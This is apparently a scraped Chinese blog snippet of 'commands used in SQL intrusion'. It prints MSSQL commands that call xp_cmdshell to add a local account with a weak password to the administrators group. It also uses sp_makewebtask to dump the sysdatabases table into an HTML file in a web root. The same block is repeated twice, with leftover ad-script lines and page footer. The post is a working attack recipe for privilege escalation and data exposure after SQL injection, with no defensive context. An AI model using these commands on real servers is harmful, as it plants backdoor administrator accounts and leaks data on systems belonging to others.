本文介绍了一种通过SQL注入利用xp_cmdshell存储过程进行系统账户添加及权限提升的方法，并展示了如何使用sp_makewebtask将SQL查询结果写入HTML文件的技术细节。
sql入侵中用到的一些命令
/*
* 功能:通过xp_cmdshell执行命令
* 本例:添加一个系统帐号,并加入管理员组.
*/
exec master.xp_cmdshell 'net user kgdiwss 123 /add'
exec master.xp_cmdshell 'net localgroup administrators kgdiwss /add'
/*
* 功能:将执行结果写入htm文件
* 注意:文件夹需要有写入的权限.
*/
exec sp_makewebtask
"F:/wwwroot/kgdiwss/test/result.htm", /* 写入路径,也可以是http地址 */
"SELECT * FROM sysdatabases" /* 要执行的sql语句 */
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script>
/*
* 功能:通过xp_cmdshell执行命令
* 本例:添加一个系统帐号,并加入管理员组.
*/
exec master.xp_cmdshell 'net user kgdiwss 123 /add'
exec master.xp_cmdshell 'net localgroup administrators kgdiwss /add'
/*
* 功能:将执行结果写入htm文件
* 注意:文件夹需要有写入的权限.
*/
exec sp_makewebtask
"F:/wwwroot/kgdiwss/test/result.htm", /* 写入路径,也可以是http地址 */
"SELECT * FROM sysdatabases" /* 要执行的sql语句 */
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script>
扫一扫
1396
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
